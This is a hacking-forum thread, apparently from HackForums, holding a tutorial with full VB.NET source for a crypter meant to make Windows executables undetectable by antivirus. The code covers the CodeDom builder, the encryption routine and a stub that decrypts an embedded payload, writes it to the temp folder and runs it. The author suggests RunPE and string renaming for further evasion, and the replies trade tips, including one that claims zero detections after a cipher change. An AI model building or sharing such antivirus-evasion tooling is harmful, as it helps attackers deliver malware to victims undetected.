[DangerZone90]

this is a updated tut for a FUD crypter using codedom
credits to Ethereal for encryption
credits to codedom by Pr3fix

building to crypter

first and 2 buttons
then add 2 textboxes
then add timer

should look like:
[img]i.imgur(dot)com/nEjXgY9.png[/img]

add to timer

TextBox2.Text = GenerateString(15)

timer settings should look like this
i.imgur(dot)com/p59LeCO.png

then add to button 1

Dim ofd As New OpenFileDialog
ofd.Filter = "Executables *.exe|*.exe"
If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = ofd.FileName Else TextBox1.Text = ""

then add this to crypt button

Dim sfd As New SaveFileDialog ' New SaveFileDialog to chosse the server location
sfd.Filter = "Executables *.exe|*.exe"
If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
Dim Source As String = My.Resources.TextFile1 'Declares the temporary source.
Dim Password As String = TextBox2.Text
Dim Bytes As String = ProcessBase64(EncryptText(Convert.ToBase64String(File.ReadAllBytes(TextBox1.Text)), Password), 2000) 'Encrypts, Formats and Converts the bytes.

Source = Source.Replace("[a]", Password) 'Inserts the Encryption key into the code.

Source = Source.Replace("[b]", GenerateString(7)) 'Some basic variable name randomization.

Source = Source.Replace("[c]", Bytes) 'Inserts the encrypted and formatted bytes into the code.

Compile(sfd.FileName, Source) 'Runs the compile Sub using the source.

MsgBox("Crypted!") 'Tells you that the process is done!
End If

add this after any "end sub"

#Region "Encryption and Comiling"

Private Function GenerateString(ByVal Lenght As Integer) 'Generates some random text
Dim Allowed As String = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
Dim ReturnString As String = ""
Dim Randumb As New Random
For i = 1 To Lenght
ReturnString &= Allowed.Chars(Randumb.Next(0, Allowed.Length - 1))
Next
Return ReturnString
End Function

Public Function ProcessBase64(ByVal Base64Bytes As String, ByVal MaxRowLengt As Integer) As String 'Puts the encrypted data in smexy VB.NET formatted lines.
Dim RowLenght As Integer = 0
Dim CurrentRow As String = ""
Dim Output As String = ""
For i = 0 To Base64Bytes.Length - 1
RowLenght += 1

CurrentRow &= Base64Bytes.Chars(i)
If i = Base64Bytes.Length - 1 Then
Output &= Chr(34) & CurrentRow & Chr(34)
Else

If RowLenght = MaxRowLengt Then
RowLenght = 0

Output &= Chr(34) & CurrentRow & Chr(34) & "& _ " & Environment.NewLine

CurrentRow = ""
End If
End If
Next i
Return Output
End Function

Public Sub Compile(ByVal Output As String, ByVal Source As String) 'CodeDOM compiler by Pr3fix
On Error Resume Next

Dim Compiler As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
Dim Parameters As New CompilerParameters()
Dim cResults As CompilerResults

Parameters.GenerateExecutable = True
Parameters.OutputAssembly = Output
Parameters.ReferencedAssemblies.Add("System.dll")
Parameters.ReferencedAssemblies.Add("System.Data.dll")
Parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")

Dim Version = New Dictionary(Of String, String)
Version.Add("CompilerVersion", "v2.0")

Dim ICO As String = IO.Path.GetTempPath & "\iCompiler.ico"

cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)

If cResults.Errors.Count > 0 Then
For Each CompilerError In cResults.Errors
MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error)
Next
ElseIf cResults.Errors.Count = 0 Then

End If

End Sub

Public Function EncryptText(ByVal input As String, ByVal key As String) As String

'This function Polymorphically encrypts the entered Text, utilising a Key and Salt.
'All credits to Ethereal of HackForums.net
'Please leave the credits.
Dim R As New Random()
Dim kc As Integer = 0
Dim text As Char() = input.ToCharArray()
Dim keyarr As Char() = key.ToCharArray()
Dim FinVal As Char() = New Char(input.Length) {}
Dim Rnd As Integer = R.[Next](100, 220)
For index As Integer = 0 To input.Length - 1
If kc >= keyarr.Length Then
kc = 0
End If

Dim ptVal As Integer = AscW(text(index))
Dim kVal As Integer = AscW(keyarr(kc))
Dim ciVal As Integer = ptVal + kVal + Rnd
FinVal(index) = Convert.ToChar(ciVal)
kc += 1
Next
FinVal(input.Length) = ChrW(Rnd)
Dim RetStr As New String(FinVal)
Return RetStr

End Function
#End Region

then add text file in resources

Imports System, Microsoft.VisualBasic, System.IO
Imports System.Security.Cryptography
Imports System.Diagnostics

Module Module1
Sub Main()
Dim Key As String = "[a]"
Dim save As String = Path.GetTempPath & "temp.exe"
Dim [b] As String = [c]
Dim Bytes As Byte() = Convert.FromBase64String(DecryptText([b], Key))

File.WriteAllBytes(save, Bytes)

Process.Start(save)

End Sub

Public Function DecryptText(ByVal input As String, ByVal key As String) As String

'This function decrypts text that was encrypted with the Polymorphic encrypter in this class.
'All credits to Ethereal of HackForums.net
'Please leave the credits.
Dim text As Char() = input.ToCharArray()
Dim keyarr As Char() = key.ToCharArray()
Dim FinVal As Char() = New Char(input.Length - 2) {}
Dim RndKVal As Integer = AscW(text(input.Length - 1))
text(input.Length - 1) = ControlChars.NullChar
Dim kc As Integer = 0
For index As Integer = 0 To input.Length - 1
If index >= input.Length - 1 Then
Continue For
End If
If kc >= keyarr.Length Then
kc = 0
End If
Dim ciVal As Integer = AscW(text(index))
Dim kVal As Integer = AscW(keyarr(kc))
Dim ptVal As Integer = ciVal - RndKVal - kVal
FinVal(index) = Convert.ToChar(ptVal)
kc += 1
Next
Dim RetStr As New String(FinVal)
Return RetStr
End Function
End Module

replace all Dim's or strings with legit strings for a full FUD also process can be relaced with refection or runpe ect

reFUD your crypter

[xCocaine]

That's not "runtime only", that's "scantime" only, and it's not fud.

[SIM-2071734]

That's not "runtime only", that's "scantime" only, and it's not fud.

You can easly change the encryption method...

[DangerZone90]

That's not "runtime only", that's "scantime" only, and it's not fud.

sorry for that and yes it not fud but with new encryption and string edits it can be

[KillαMuvz]

You can easly change the encryption method...

Simply changing encryption method doesn't make it FUD. There's more to crypters than that;

[SIM-2071734]

Simply changing encryption method doesn't make it FUD. There's more to crypters than that;

In this case it worked. From RC4 to AES i got 0/59. Yeah you can also rename the conts and stuff but sometimes changin the encryption methods works...

[Increment]

Welcome to the official polymorphic definition of HF.

[Moon Rock]

I'll have to check this out later, thanks op. I've been wanting to look at how crypters work 🙂

[еlixir]

I would call that a simple bare-bones USG engine. But it still only renames so not a full USG engine lol.

[DangerZone90]

I would call that a simple bare-bones USG engine. But it still only renames so not a full USG engine lol.

can you do better? this is for learn not give out..

[Increment]

can you do better? this is for learn not give out..

The real question is actually if it is possible to do worse.

[еlixir]

can you do better? this is for learn not give out..

Yes. I've done better countless of times.

[Zettabit]

can you do better? this is for learn not give out..

What the fuck do you mean "this is for learning"? All you did was make it easier for skids to copy and paste. They're going to learn nothing from this. Not to mention there are dozens of improvements that need to be made.

[users123]

zettibit its more than just copyin and paste i learned alot from it... stop being a whiny bich..

[ErsGuterJunge45]

I am really sorry for this question... I am not good in Visual Basic...
What does "then add text file in resources" mean?